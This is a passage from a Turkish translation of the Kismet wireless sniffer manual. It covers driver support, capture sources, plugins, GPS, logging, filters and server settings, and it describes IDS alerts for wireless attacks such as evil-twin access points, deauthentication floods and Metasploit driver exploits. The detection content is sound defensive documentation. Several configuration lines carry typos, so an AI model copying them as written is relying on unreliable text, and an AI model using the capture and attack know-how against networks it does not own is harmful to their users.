gelişme içindeydi. Bunun anlamı herhangi bir anda tuhaf davranışlar<br />
sergiler ya da açık sözlülükle kırılabilirlerdi. Kullanıcıların son kernel<br />
sürümüne geçmeleri teşvik edilir ve hata olursa compat-wireless arka<br />
kapı paketi kullanmaları istenir.<br />
Madwifi (Linux)<br />
ath5k/ath9k kullanımı ile Madwifi kullanılmaz hale geldi (eskidi). Bu<br />
sürücüler çoklu vap destekler, daha açıkçası mac80211 katmanında<br />
bunu yaparlar. Özellikle eski tarihsel madwifi problemleri devam<br />
etmez.<br />
Madwifi kaynakları VAP olarak (ath0, mon0, vb) ya da kontrol arayüzü<br />
(wifi0, wifi1 gibi) berlitilir. Ama eğer kontrol arayüzü tanımlanmışsa,<br />
Kismet desteklenen kanalların listesini çekemez ve IEE80211b<br />
kanallarının varsayılanlarına kalır.<br />
Çoklu vap ve ilk vap yaratırken madwifi problemleri olmaya devam<br />
eder Bu nedenle ilk vap yaratma kapatılmalıdır. Modül parametresi<br />
“autocrate=none” ath_pcl yüklenirken tanımlanır. Eğer madwifi<br />
monitor vap durduğunda, yaratıldıktan hemen sonra paketler rapor<br />
edilir.<br />
VAP'ların yönetim ve izlenmesi birleştirildi halde hala çok iti<br />
çalışmamaktadır.<br />
RT28xx (Linux)<br />
Bu chip takımı için iki tane sürücü vardır. Kernel içi sürücü Linux-2.6.31<br />
ile kullanılmaya başlanmıştır. Kismet ile iyi çalışır. Aslında kullanılması<br />
en uygun sürücüdür. RT28xx sürücüsünü açık bırakmayı unutmayın.<br />
Adımsal sürücüyü açmayın. O sürücü mac80211 tabanlı değildir.<br />
Kernel dışı sürücüler mac80211 kontrollerine uymazlar. Ve bu sürücü<br />
kullanıldığında otomatik belirleme yapılamaz (/sys altında geçerli bir<br />
sürücü yaratamazlar) bu nedenle sürücü tipi elle “type=rt2870sta”<br />
diye tanımlanmalıdır.
Bu sürücünün varsayılan adı “rausbX” ki bazı libpcap sürümleri için<br />
hata bile kabul edilebilir ve cihazın adının değişmesi bile istenebilir.<br />
rt73-k2s-wrtz (Linux)<br />
Ağaç yapısı dışındaki rt73 sürücüsü aynı rt2870sta gibidir. Tipinin<br />
“rt73” olarak belirtilmesi gerekir.<br />
Bu sürücü de “rausbX” adını varsayılan olarak kullanır ve aynı hata<br />
burada da söz konusudur.<br />
WL (Linux, intel)<br />
Broadcom kendi sürücülerinin ikili sürümünü WL olarak yayınlamıştır.<br />
Bu sürücüler izleme konumunu gerçekleştiremez. Kismet bunları<br />
otomatik tanımaya çalışır ve sonucu kullanıcıya iletir. Broadcom<br />
kullanıcıları kernel içi b43 ve b43xx sürücülerini kullanmalıdır.<br />
OTUS (Linux)<br />
Atheros 80211n USB cihazı için bir sürücü çıkarttı. Ama bu sürücünün<br />
izleme konumu desteği yoktu ve Kismet'le kullanılamıyordu. Ar9170<br />
sürücü projesi bu kart için mac80211 kernel desteğini sundu ve<br />
Kismetle çalışabilmektedir. Ar9170 wireless-git geliştirmesiyle<br />
birleştirildi. Kernel içinde compat-wireless pakaetnde yer alacak.<br />
Nokia ITT (Linux)<br />
Kismet'in Nokia ITT ile ilgili herhangi bir değişikliğinde, Noka sistem<br />
kontrol paneli bağlantı bölümünde tarama boşluğu sıfır yapılmalıdır.<br />
Diğer tüm ağ bağlantılarından koparılmalı ama kablosuz ağ kalmalıdır.<br />
Nokia sürücüleri çoğu zaman hatalı FCS paketleri döndürür. Nokia<br />
kaynak satırında “fcs=true,validatefcs=true” olmalıdır. Aksi halde<br />
hatalı paketlerden çoklu hata dolu ağlar üretilir.<br />
Nokia cihazı doğru olarak otomatik tanıma yapamaz. “nokia770”,<br />
“noka800”, “nokia810” ya da “nokiaitt” sürücü tipi olarak<br />
tanıtılmalıdır. “nokiaitt” jenerik kaynak olduğundan her tür nokia<br />
tabletiyle çalışabilir.<br />
Orinoco (Linux)<br />
Yeni firmware'deki izleme konumu problemleri nedeniyle Orinoco<br />
kernel sürücüleri “yeni” “/modern” firmware sürümleri için izlemeyi<br />
kapatmıştır.<br />
Kismet cihazı kullanmak ister ama kullanıcıyı bunun .alışmayacağını<br />
bildirerek uyarır. İzleme desteği modül parametresindeki<br />
“force_monitor=1” ile başlatılabilir. Daha az sorunlu chip kümesi için<br />
(hermes olmayan prism2 gibi) hostap kullanın (kernel içinde de var).
NDISWrapper (Linux)<br />
NDIS-Wrapper sürücüsü Windows sürücülerini Linux ağ dizisine yükler.<br />
Bu sürücüler izleme konumuna sahip değildir ve Kismet ile çalışmazlar.<br />
Not: rndis sürücüleri ndiswrapper gibi değildir. Rndis sürücüleri özel<br />
USN chip kümesi içindir ndiswrapper ile ilişkili değillerdir. Rndis<br />
Kismet'le çalışır.<br />
BSD (BSD Jenerik)<br />
İzleme konumu için radiotap başlıklarıyla çalışan Kismet BSD Jenerik<br />
alt yapısında çalışan kartlar için kaynak tipi “radiotap_bsd_ag”,<br />
“radiotap_bsd_-a”, “radiotap_bsd_g” ve “radiotap_bsd” yazılırsa çalışır.<br />
Kanal belirleme ve tip otomatik seçimi şu anda desteklenmemektedir.<br />
ncsource=wl0:type=radiotap_bsd_ag<br />
Windows (Jenetik)<br />
Windows altında yalnız airpcap cihazı desteklenmektedir. Bu çok özel<br />
bir donanım olup, Cace Technologies tarafından üretilmiştir. Eğer bir<br />
tane satın almazsanız, veri yakalama yapamazsınız.<br />
Airpcap sürücülerinde izleme konumu “public” (halka açıktır). Kismet<br />
yalnız bu cihazla Windows altındayken veri yakalayabilir.<br />
AirPcap (Windows)<br />
Varsayılan olarak kernel ilk bulduğu airpcap cihazını açar. Çoklu<br />
cihazların açılması söz konusudur (arayüzün tüm adını kullanarak bu<br />
gerçekleşir. AirPcap araçları arasında vardır desen \\.\airpcapXX). İlk<br />
cihaz \\.\airpcap00, ikincisi \\.\airpcap01 ve bunun gibi...<br />
USB Cihazları (OSX)<br />
Yalnız Airport IOKit sürücü cihazları OSX'de desteklenmektedir. USB<br />
cihazları genelde desteklenmez, çünkü sürücülerin izleme konumları<br />
yoktur.<br />
7. Desteklenen kaynak yakalama<br />
Yakalanan kaynak tipleri Kismet otomatik olarak belirleyemezse gereklidir.<br />
Linux Kaynak yakalamaları:<br />
Tüm modern Linux sürücüleri mac80211 sürücü ana yapısını kullanır.<br />
Kismet bu altyapıyı kullanan tüm sürücüleri otomatik olarak belirler.<br />
Jenerik kaynak adı “mac80211” bir türü zorunlu yapmak için<br />
kullanılabilir. Ama her zaman bunu yapmak doğru olmayabilir.<br />
adm8211<br />
acx100<br />
hostap<br />
Kernel adm8211 sürücüsü<br />
Kernel acx100 sürücüsü<br />
Kernel prism2 sürücüsü
ipw2100<br />
ipw2200<br />
ipw2915<br />
ipw3945<br />
mac80211<br />
madwifi<br />
madwifi_a<br />
madwifi_b<br />
madwifi_g<br />
madwifi_ag<br />
nokia770<br />
nokia800<br />
nokia810<br />
nokiaitt<br />
pcapfile<br />
rt2870sta<br />
wl12xx<br />
drone<br />
Kernel Intel 2100 sürücüsü<br />
Kernel Intel 2200 sürücüsü<br />
Kernel Intel 2915 sürücüsü<br />
Kernel intel 3945 sürücüsü<br />
Jenerik mac80211 herhangi bir mac80211 için tüm<br />
kaynakları yakalama<br />
Madwifi/Madwifi-ng<br />
madwifi eşdeğeri, varsayılan 802.11a kanalları<br />
madwifi eşdeğeri, varsayılan 802.11b/g kanalları<br />
madwifi eşdeğeri, varsayılan 802.11b/g kanalları<br />
madwifi eşdeğeri, varsayılan 802.11abg kanalları<br />
Nokia Maemo tabletlerinde Conexant-tabanlı sürücü<br />
nokia770 eşdeğeri<br />
nokia770 eşdeğeri<br />
nokia770 eşdeğeri<br />
Pcap-kalıplı önceden kaydetilmiş dosya<br />
Kernel dışında adımlamalı rt2870 11n sürücü (yerine<br />
kernel içindekini kullanın)<br />
N900 için yamanmış wl12xx sürücüleri<br />
http://david.gnedt.eu/blog/ adresinden yamanmış<br />
sürücüleri kullanmalıdır, aksi halde otomatik belirlenir.<br />
Uzaktan Kismet paket yakalaması, kaynağın yakalama<br />
seçenekleri:<br />
"host=..." ve "port=..." gerekenlerdir.<br />
ncsource=drone:host=localhost,port=2502<br />
BSD Yakalama Kaynakları<br />
BSD paket yakalama kaynakları şu anda otomatik tanıma ve kanal<br />
belirleme yapamaz.<br />
BSD altında yakalama izleme konumu olan her hangi bir sürücüyle<br />
olabilir (Standart BSD IOCTL kullanıyor olmalıdır. Böylece konum ve<br />
kanal ayarı yapılabilir).<br />
Yamalar/Ek BSD desteği kabul edilir<br />
radiotap_bsd Jenerik BSD yakalama kaynağı,<br />
Varsayılan 802.11b/g kanalları<br />
radiotap_bsd_g Varsayılan 802.11b/g kanalları<br />
radiotap_bsd_a Varsayılan 802.11a kanalları<br />
radiotap_bsd_ag Varsayılan 802.11abg kanalları<br />
pcapfile<br />
drone<br />
Pcap-kalıplı önceden kaydedilmiş dosya<br />
Uzaktan Kismet paketleri yakalama.<br />
Kaynak seçenekleri<br />
"host=..." ve "port=..." gereklidir
Windows Yakalama Kaynakları:<br />
Şu anda yalnız Airpcap cihazı, pcap dosyası ve drone'lar desteklenen<br />
pşaformlarda çalıştırılıyorsa Windows altında kullanılabilmektedir.<br />
Airpcap<br />
Airpcap jenerik kaynak. Kanal aralıklarını otomatik bulur.<br />
“airpcap” arayüzü ilk airpcap cihazını bulur (ncsource=airpcap).<br />
Özel cihazları tanıtabilmek için ncsource=\\.\airpcap01 gibi<br />
tanımlar kullanmak gerekir).<br />
airpcap_ask<br />
Var olan kaynakları listeler ve hangisini kullanacağınızı sorar.<br />
Kismet kullanıcı arayüzüyle da kullanılmaz.<br />
Pcapfile<br />
pcap-kalıplı daha önceden kaydedilmiş dosya.<br />
Drone<br />
Uzaktaki Kismet paketlerini yakalama, kaynak seçenekleri<br />
“host=...” ve “port=...” gereklidir.<br />
OSX/Macintosh Kaynakları Yakalama:<br />
darwin<br />
Airport IOKit tarafından kontrol edilebilen her cihazın sürücüsü<br />
OSX altında kullanılabilir. Varsayılan 802.11b/g kanallarıdır.<br />
Pcapfile<br />
pcap-kalıplı önceden saklanmış dosya<br />
drone<br />
Uzaktaki Kismet paketlerinin yakalanması, kaynak seçenekleri<br />
“host=...” ve “port=...” gereklidir.<br />
8. Eklenebilir program parçaları<br />
Kismet eklenen program parçaları (plugins) Kismetin yapamadığı her şeyi<br />
yapar. Bular gelişmiş log kayıtları, IDS uyarılarını ekleme, yeni yakalama<br />
kaynaklarını tanımlama (bir ölçüdeki sınırlamalarla) ve Kismet kullanıcı<br />
arayüzüne yeni özellikler eklemektir.<br />
Ekleme programlar Kismet'in kaynak kodlarına derleme için erişmek isterler<br />
(ve de ayar bilgilerine). Her Kismet sürümü değiştiğinde yeniden<br />
derlenmeleri gerekir. Eğer Kismet svn kullananlardansanız, her çıkış<br />
yaptığınızda ekleme programları yeniden yapmalısınız (rebuild).<br />
Kismet'e bağlanan ekleme programlar (Kismet'in kaynak yoluna<br />
açılan/taşınan üçüncü parti ekleme programlar) “make plugins” ile
derlenebilir. Ve kurulumu “make plugins-install” ya da “make pluginsuserinstall”<br />
ile yapılır. Bu komutlar Kismet'in var olan kaynak kod yolunu<br />
kullanarak ekleme programı otomatik olarak ayarlar. KIS_SRC_DIR çevre<br />
değişkenin değeri Kismet kaynak program yolunu göstermelidir.<br />
Kismet sunucusunun ekleme programları (yakalama ve log kayıtlarına<br />
yazma işi) sistem boyutundaki ekleme program yolundan yüklenir<br />
(varsayılanı /usr/local/lib/kismet/) ya da kullanıcının kismet ayarları yolundan<br />
yüklenir (~/.kismet/plugins).<br />
Kismet'i parçalama yetkisi açık olarak koştururken (Kismet_capture root<br />
olarak kurulmuş) ekleme programlar yalnız Kismet sunucusu tarafından<br />
yüklenir. Ve ekleme programlar “root” yetkisi içeren işlemleri yapamazlar.<br />
Kismeti yetki parçalaması yapmadan çalıştırırsanız (root olarak) ekleme<br />
programlar da root olarak çalışır. Bu da önerilmez.<br />
Sunucu ekleme programları ayarlarda<br />
allowplugins=true<br />
varsa yüklenebilir.<br />
İstemci ekleme programları varsayılan olarak /usr/local/lib/kismet_client<br />
yolundan yüklenirler ya da ~/.kismet/client yolundan kullanıcıya özel<br />
eklemeler olarak yüklenilirler.<br />
Kismet kullanıcı arayüzünün ekleme programları yüklemek için bir<br />
mekanizması vardır (ve başlanırken ekleme programlar otomatik olarak<br />
yüklenecek biçimde tanımlanır). Bu işlem ekleme menüsü ögesiyle sağlanır.<br />
Biz kez Kismet kullanıcı arayüzü eklemesi yüklendiğinde, sonra bu işlemden<br />
vazgeçilemez. Yüklenmesini kaldırmak için eklemenin ayarları başlangıçta<br />
yüklenmeyecek durumuna getirilir ve Kismet yeniden başlatılır. Ekleme<br />
programlarını kullanıcı arayüzünde yüklenecek biçimde ayarlamak için<br />
(otomatik hazırlanan listeden) ekleme programını seç ve Enter tuşuna basın.<br />
Ekleme program ilgili pencere kapandığında yüklenmiş olacaktır.<br />
Kismet sunucu ekleme programları kullanıcı arayüzünden oynanamaz. Ama<br />
yüklenmiş eklemeler listelenebilir.<br />
Eğer ekelem başlatma sorunlarına neden oluyorsa (başka bir Kismet ikili<br />
koduna göre derlenmiş olabilir) Kismet işlemi durdurur ve hangi eklemeden<br />
sorunun kaynaklandığını yazar. Eklemeler kurulum sorunlarına da neden<br />
olabilirler. Eğer eklemeler yüklenirken program kırılırsa, eklemeleri kaldırın<br />
ve yeniden test edin. Çoğu zaman Kismet çalışırken eklemeleri yeniden<br />
derlemek bu sorunların aşılmasına yardımcı olur.
9. GPS<br />
Kismet GPS cihazına bağlanabilir. Böylece yakaladığı ağın koordinatlarını<br />
belirler. Bu bilgi PPI log açıklıdında pcap dosyasına kaydedilir. XML dosyasına<br />
Kismap işlemi olarak yazılır. Kismet kaynağı ve varsa diğer üçüncü parti<br />
araçlarla kaydedilir.<br />
Kismet GPS arka plan programını “gpsd” kullanır ya da doğrudan GPS<br />
birimindeki NMEA'dan tarar.<br />
GPS Kismet sunucusu ayarlarından kontrol edilir. Yerel sistemde gpsd<br />
kullanılması için ayarlarda:<br />
gps=true<br />
gpstype=gpsd<br />
gpshost=localhost:2947<br />
gpsmodelock=false<br />
gpsreconnect=true<br />
bulunmalıdır.<br />
gpsreconnect<br />
Eğer gpsd kırılırsa ya da Kismet bir biçimiyle bağlantısını kaybederse,<br />
gpsreconnect ile yeniden bağlantı sağlanır. Gpsmodelock bazı<br />
GPS/GPSd ilişkilerindeki kırılmalarda yararlı olabilir. Bu durumda GPS<br />
geçerli bir bağdan söz edemez. “gpsmodelock=true” zorlanınca<br />
Kismet GPS'in ikincil bir kilitlenmesi var diye bilir.<br />
gpsd olmadan GPS cihazı kullanımı<br />
gps=true<br />
gpstype=serial<br />
gpsdevice=/dev/ttyS0<br />
gpsreconnect=true<br />
gpsdevice parametresi doğru düzgün bir sıralı (serial) cihaza<br />
atanmalıdır. USB GPS cihazları için bu tipik olarak /dev/ttyUSB0 ve<br />
blutooth cihazlar için /dev/rfcomm0 ya da benzeri olabilir. Cihazı<br />
bağladıktan sonra “dmesg” çıktısına bakın ve hangi seri bağlantının<br />
atandığını görün.<br />
Kismet bir ağın yerini bilemez, bir sinyali bulduğu yerini bildirebilir. O<br />
noktanın çevresindeki çemberde daha çok GPS verisi alırsanız o zaman ağı<br />
merkezini belirlersiniz.
Kismet ağ yerinin ortalamasında çalışır. Ama bu da çok doğru değildir.<br />
Ortalama ve kayan noktalı aritmetik hatası nedeniyle yer fazla güvenilir<br />
olmayabilir. Ağların yerini grafiksel olarak gösterebilmek için GPSXML<br />
dosyası kullanılmalıdır.<br />
10. Kayıt altına alma (Logging)<br />
Kismet pcap dosyasına loh kayıtlarını yazar. Gps, uyarılar ve ağ bilgileri XML<br />
ve düz metin dosyalarında bulunur.<br />
Varsayılan olarak, Kismet her paket başlığı olan PPI ile pcap dosyalarına log<br />
kayıtlarını yazar. PPI başlığı iyi dokümante edilmiş başlık olup Wireshark<br />
tarafında da desteklenir ve diğer araçlar, spektrum verilerini içerir, radio<br />
verlerini sinyal ve gülütlü düzeylerini ve GPS verilerini içerir.<br />
PPI yalnız yeni libpbap sürümünde vardır. Olmadığı zaman Kismet standart<br />
802.11 kalıbına göre kayıt üretir (ek başlıklar olmadan).<br />
Pcap log kalıbını kontrol edecek parametreler şunlardır:<br />
pcapdumpformat=ppi<br />
ya da<br />
pcapdumpformat=80211<br />
Log dosyalarının adlandırılması “logtemplate” ayar seçeneğidir. Varsayılan<br />
olarak Kismet gelende kendi başladığı yolda log kayıtlarını bulundurur (“--<br />
logprefix” ile değiştirilmediği sürece).<br />
Aşağıdaki değişkenler logtenplate içinde kullanılabilir.<br />
%p Ön ek ( --log-prefix de belirtildiği gibi)<br />
%n Log adı ( --log-title' da belirtildiği gibi)<br />
%d Başlangıç günü Mmm-DD-YYYY<br />
%D Başlangıç tarihi YYYYMMDD<br />
%t Başlangıç zamanı HH-MM-SS<br />
%i Arttırımlı, aynı adlı birden çok log olduğunda<br />
%l Log tipi (pcapdump, netxml, vb)<br />
%h Kismet kullanıcısının ev yolu<br />
Varsayılan log şablonu “--log-prefix” ya da /tmp ve “--log-title” olduğunda<br />
aşağıdaki kalıba göre hazırlanır:<br />
logtemplate=%p%n-%D-%t-%i.%l<br />
örnek dosya:<br />
/tmp/Kismet-20090428-12-45-33-1.pcapdump
İç içe dosya yolları tanımlayabilirsiniz (örneğin bu şablona göre “%p/%l/%D-<br />
%t"). Ama tüm bunlar Kismet başlamadan önce yaratılmış olmalıdır. Kismet<br />
bu yolları kendisi yaratmaz.<br />
Bir çok kullanıcı log şablonları değiştirmek gereği duymaz. Ama seçenek<br />
vardır. Şablonu değiştirirken mantıklı bir yerde (şablonun başında olabilir)<br />
“%p” “prefix” seçeneğini koymayı unutmayın. Yoksa “--log-prefix” seçeneği<br />
istenildiği gibi çalışmaz.<br />
11. Filitreleme<br />
Kismet temel elemeyi destekler. Ağlar izlemenin dışta kalır, pcap log yazma<br />
ya da genel log yazma hep BSSID'ye, kaynağa ya da MAC adresine dayanır.<br />
Elemeler açıldığında “positive-pass” (uyan geçer) türüdür. Elemeye uyan her<br />
şey geçer ama diğerleri engellenir. Ağlardan yalnız BSSID<br />
AA:BB:CC:DD:EE:FF olan paketleri işlemek için:<br />
filter_tracker=BSSID(AA:BB:CC:DD:EE:FF)<br />
yazılır. Bu özellik “!” operatörü kullanılarak ters çevrilebilir.<br />
Paketleri dışlamak için:<br />
filter_tracker=BSSID(!AA:BB:CC:DD:EE:FF)<br />
yazılır. Aynı filitrede birden çok MAC adresi dizilebilir. Örneğin<br />
AA:BB:CC:DD:EE:FF ve 00:11:22:33:44:55: adreslerinden bilgi almamak için:<br />
filter_tracker=BSSID(!AA:BB:CC:DD:EE:FF,!00:11:22:33:44:55)<br />
yazılır. IP maskelemesindeki gibi MAC adresleri de maskelenir. Örneğin:<br />
filter_tracker=BSSID(AA:BB:CC:00:00:00/FF:FF:FF:00:00:00)<br />
Aynı biçimde SOURCE(...), DEST(...) ve ANY(...) paketleri filitrelemek için<br />
kullanılabilen tanımlamalardır. Örneğin yalnız MAC adresi 11:22:33:44:55:66:<br />
olanın paketlerini işlemek içn:<br />
yazılır.<br />
filter_tracker=SOURCE(11:22:33:44:55:66)<br />
12. IDS ve Uyarılar<br />
Kismet'te IDS işlevsellikleri de vardır. Durumu olmayan ve olan IDS için<br />
katman 2 ve 3 kablosuz ağ saldırılarını sağlar. Kismet parmak izinde<br />
(özellikle tek paketlik saldırılarda) ve eğilimlerde (beklenmedik sorgular,<br />
düzensiz akışlar vb.) uyarı verir.
Başka araçlarla ilişkili olur tun/tab dışa taşıma kullanarak kablosuz trafiğinde<br />
sanal ağ arayüzü oluşturur. “paket-omatic” ve Snort gibi araçlar bu dışa<br />
çıkarılmış verileri kullanarak ek IDS işlevleri oluşturabilir.<br />
Kismet IDS olarak duran olduğunda en etkin biçimde olur. En iyi sonuçlar için<br />
sekme yapmayan bir kaynak birincil ağın kanallarında olmalıdır. Kismet'in<br />
IDS işlevleri mobil ya da kanal sekmesi türü kurulumlarda (ve varsayılan<br />
olarak ayarlıdır) ama duyarlık olmayabilir.<br />
Uyarılar “alert=” ayar seçeneğiyle düzenlenir. İki tane zaman parametresi<br />
vardır. Throttle ve Burst. Her zaman biriminde kaç tane uyarıya izin<br />
verileceğini “throttle” belirler. “Burst” ise bir satırda kaç uyarı olabileceğini<br />
bildirir. Örneğin:<br />
laert=NETSUMBLER,5/min,1/sec<br />
Burada saniyede 1 uyarıya izin verilir. Bir dakikada en çok 5 tane uyarı<br />
olabilir.<br />
Kismet aşağıdaki uyarıları destekler.<br />
AIRJACSSID Parmak izi (kullanılmayan)<br />
İlk 802.11 hack'leme araçlarındandı. Program başlamadan önce<br />
SSID “airjack” yapılır. Bu uyarı artık kullanılmamaktadır.<br />
APSPOOF Parmak izi<br />
Geçerli MAC adres listesi SSID için “apspoof=” seçeneğiyle<br />
verilir. Listedeki MAC adresleri dışında bir yerden sorgu olursa<br />
uyarı üretilir. Bu karışık erişim noktalarını belirlemede de<br />
kullanılabilir. Ya da Karma/Airbase gibi saldırılarda sorguların<br />
tümüne yanıt verir.<br />
“apspoof=” ayar seçeneği özellikle SSID'si aynı olanları seçer.<br />
SSID tek, çoklu, maskeli MAC adresleri olabilir.<br />
apsoff=Foo1:ssidregex=”(?i:foobar)”,<br />
validmacs=00:11:22:33:44:55<br />
apsoof=Foo2:ssid=”Foobar”,<br />
validmacs=”00:11:22:33:44:55,AA:BB:CC:DD:EE:FF”<br />
Çoklu MAC adresi tanımlandığında tırnal içinde belirtilmelidir.<br />
Kurallı deyim (regular expression) için “man pcrepattern”<br />
belgesine bakın.
BSSTIMESTAMP Trend/Stateful<br />
Geçersiz/sırala dışı türü BSS zaman damgası Erişim Noktasının<br />
(AP) sahte olduğunu gösterir. Erişim noktasında oynayan BSS<br />
zaman damgası varsa, şeytani bir ikizi var anlamına gelebilir ve<br />
sahtecilik saldırısı vardır. Araçlar zaman damgasını uyumlu<br />
yapmaya çalışmadığından bu tür saldırıyı çözebilmek kolay<br />
değildir. Bazı erişim noktaları BSS zaman damgasını düzenli<br />
olarak yeniden başlatabilir. (Referans WVE-2005-0019)<br />
CHANCHANGE Trend/Stateful<br />
Daha önceden belirlenen bir erişim noktası sürekli kanal<br />
değiştiriyoorsa, aldatma saldırısı yapılıyor demektir. İstemcileri<br />
yeni kanal üzerinden sahte erişim noktasına çeken saldırgan<br />
bilgi toplama amacındadır.<br />
CRYPTODROP Trend/Stateful<br />
Erişim noktasını daha az güvenli şifreleme seçeneğiyle aldatmak<br />
istemcileri kandırabilir ve bağlanmalarını sağlar. Bunun<br />
olabilmesi ancak AP (erişim noktası) yeniden ayarlanacaksa<br />
anlamlı olur.<br />
DEAUTHFLOOD Trend/Stateful<br />
BCASTDISCON Trend/Stateful<br />
Saldırgan iletişimi kesimiş ve yetkisiz paketlerle kandırarak<br />
istemcinin ağdan bağlantısını koparır, “denial-of-service” (servis<br />
reddi) yaratır. Bu da saldırgan paketleri gönderinceye kadar<br />
sürer.<br />
http://802.11ninja.net<br />
http://home.jwu.edu/jwright/papers/l2-wlan-ids.pdf<br />
DHCPCLIENTID Fingerprint<br />
İstemci tanıtım kodu taşıyan DHCP DISCOVER paketi gönderen<br />
bir istemci paketin kaynak MAC adresiyle aynı değilse “DHCP<br />
denial-of-service” (DHCP servis reddi) yanıtı alır.<br />
DHCPCONFLICT Trend/Stateful<br />
DHCP adresi alan istemciler farklı bir IP adresi kullanmaya<br />
devam ederse aldatmacı istemci olduğuna karar verilebilir.<br />
DISASSOCTRAFFIC Trend/Stateful<br />
Ağdan bağlantısı kesilen istemci hemen veri alış verişine<br />
girmemelidir. Çünkü bu durum aldatmacı saldırganın var olduğu<br />
gösterebilir ve ağa doğru olmayan veriler sokuyordur. Ya da<br />
istemci “denial-of-service” (servis reddi) saldırısına uğramıştır.
DISCONCODEINVALID Fingerprint<br />
DEAUTHCODEINVALID Fingerprint<br />
802.11 tanımları bağlantının kopmasına ya da yetkisizliğe ait<br />
geçerli hata kodlarını sıralar. Bazı istemci ve erişim noktası<br />
sürücüleri geçersiz/belirsiz hata kodlarını düzggün<br />
yorumlamadıkları rapor edilmiştir.<br />
DHCPNAMECHANGE Trend/Stateful<br />
DHCPOSCHANGE Trend/Stateful<br />
DHCP ayarlama protokolü istemcilerin isteğe bağımlı olarak<br />
<strong>bilgisayar</strong> adı ve DHCP istemci üreticisi/işletim sistemi gibi<br />
bilgilerini DHCP arama paketine ekler. Bu değerler ancak istemci<br />
değişiklik yaparsa (ikili işletim sistemi kullanıyorsa) değişebilir.<br />
Aksi halde değişiklik istemciye MAC adres klonlaması saldırısı<br />
yapılmış demektir.<br />
LONGSSID fingerprint<br />
802.11 özelliklerinde SSID için en çok 32 bayt uzunluk<br />
tanımlanır. Daha fazla SSID bir saldırının habercisidir.<br />
LUCENTTEST Fingerprint (Kullanılmıyor)<br />
Eski Lucent Orinoco kartları bazı tarama denemelerinde<br />
belirlenebilen paketler yaratır.<br />
MSFBCOMSSID Fingerprint<br />
Windows Broadcom kablosuz sürücülerinin bazı sürümlerinde<br />
SSID doğru düzgün ele alınmaz. 802.11 özelliklerinde yer alan<br />
DDID uzunluğundan fazla olan SSID'lerde sistem kodu<br />
çalıştırmaya çalışır. Bu sorun Metaspoit tarafından saptanmıştır.<br />
MSFDLINKRATE Fingerprint<br />
Wİndows D-LINK sürücülerinin bazı sürümlerinde çok uzun<br />
802.11 geçerli oran alanlarını doğru düzgün ele alamaz.<br />
Metasploit altyapısı tarafından bulunmuştur.<br />
MSFNETGEARBECON Fingerprint<br />
Windows netgear kablosuz sürücülerinin bazı sürümleri çok<br />
büyük beacon çerçevelerini doğru düzgün ele alamaz ve sistemi<br />
kod çalıştırmaya götürür. Bu sorun Metasploit tarafından<br />
belirlenmiştir.<br />
NETSTUMBLER Fingerprint (Kullanılmıyor)<br />
Netstumbler'in eski sürümleri (3.22, 3.23. 3.30) bazı durumlarda<br />
özel paketler üretir.
NULLPROBERESP Fingerprint<br />
SSID'sinde IE işaretli 0 uzunluktaki parçalar sorgu ve yanıt<br />
paketleri eski kartlarda (prism2, orinoco, airport-classic) hata<br />
verir.<br />
PROBENOJOIN Trend/Stateful<br />
Aktif tarama araçları (Netstumbler gibi) sürekli ağ bulma<br />
mesajları gönderir ama yanıt veren ağlara hiç bir zaman<br />
bağlanmaz. Bu uyarı ileri düzeyde hatalılar olur ve kanal<br />
sekmeleri varsayılan olarak engellenir.<br />
13. Sunucu Ayar Seçenekleri<br />
Kismet iki ana işleme bölünmüştür. Kismet sunucusu ve kismet istemcisi.<br />
Sünücü bölümü (yakalama, log kayıtlarına yazma ve çözümlemeden<br />
sorumludur) kismet.conf ayar dosyasıyla kontrol edilir (varsayılan olarak yeri<br />
/usr/local/etc altındadır) ve istemci ise program içindeki Özellikler/Araçlar<br />
seçeneği ile kontrol edilir.<br />
Çoğu zaman Kismet kullanıcı arayüzü ile ek ayar gerektirmeden çalışır. Ama<br />
yalnız çalışılan durumlarda ya da gelişmiş ayarlarda kullanıcı dosyayı<br />
değiştirmek isteyebilir.<br />
Kismetin ayar dosyası sıradan düz metin dosyasıdır. İçinde “seçenek=değer”<br />
ikilileri vardır. # ile başlayan satırlar açıklama olarak kabul edilir.<br />
Bir çok ayar seçeneği kendini anlatabilen türdendir ya da ayar dosyasında<br />
açıklaması vardır.<br />
Varsayılan olarak Kismet yalnız “loopback” arayüzünün 2501 kapısını izler<br />
(ifconfig altında lo seçeneği)<br />
listen=tcp://ip:port<br />
Kismet'in dinleyeceği IP ve kapı numaralarını tanımlar.<br />
Varsayılan olarak güvenlik nedeniyle yalnız 127.0.0.1 IP<br />
numarasını “loopback” arayüzünden izler. Her hangi bir IP'yi<br />
izlemek isterseniz 0.0.0.0 girin.<br />
Allowedhosts=...<br />
Virgülle ayrılmış IP adresleri listesi Kismet sunucusuna<br />
bağlanabilir. IP aralığı ağ madkeleriyle anlatılabilir (örneğin<br />
10.10.10.0/24 gibi).<br />
maxclients=N<br />
Kismet sunucusuna aynı anda bağlanabilecek istemci sayısı bu<br />
seçenekte tanımlanır.
Maxbacklog=5000<br />
Ağ protokolü ile uyumlu olmayan istemciler için sunucunun<br />
bellekte saklayacağı log satırlarının üst sınırıdır. Bu Kismet<br />
tarafından kullanılan RAM (bellek) boyunu da etkiler. Bellek<br />
sorunu olan sistemlerde değer azaltılmalıdır.<br />
Kismet sunucuları Kismet asalağı gibi çalışacak biçimde ayarlanabilir. Dışa<br />
verilen mesajlar akan canlı TCP paketlerine çevirir.<br />
dronelisten=..<br />
Aynı yukarıdaki gibi ama bukez asalak özellikleri için.<br />
droneallowedhosts=.. ...<br />
dronemaxclients=.. ...<br />
droneringlen=65535<br />
Kismet istemcileri için en çok bellekte saklanacak log kayıtları<br />
sayısına eşdeğerdir. Bellek sorunu olan sistemlerde sayı<br />
azaltılabilir.<br />
Kismet paketleri sanal ağ arayüzü ile diğer araçlara çıkartır (Linux'da<br />
desteklenir, düşük düzeyde OSX ve BSD desteği sınırlı tuntap sürücü<br />
uygulamasından kaynaklanır)..<br />
tuntap_export=true tuntap desteğini aç<br />
tuntap_device=kistap0 Sanel Ağ arayüzü yaratıldı<br />
Kismet WEP anahtar değeri bilinen WEP ağlarının kayıtlarındaki şifresini<br />
çözer.<br />
wepkey=bssid,hexkey<br />
Yalnız onaltılı anahtar yazılabilir. WEP için değişik üreticilerde şifre<br />
sözcüğünü çeviren belirgin ve tutarlı bir yöntem olmadığından kullanılmaz.<br />
Kismet sunucusu ses ve konuşma üretebilir. Ama bunun Kismet kullanıcı<br />
arayüzü tarafından yapılması daha uygundur. Kismet sunucusunda ses<br />
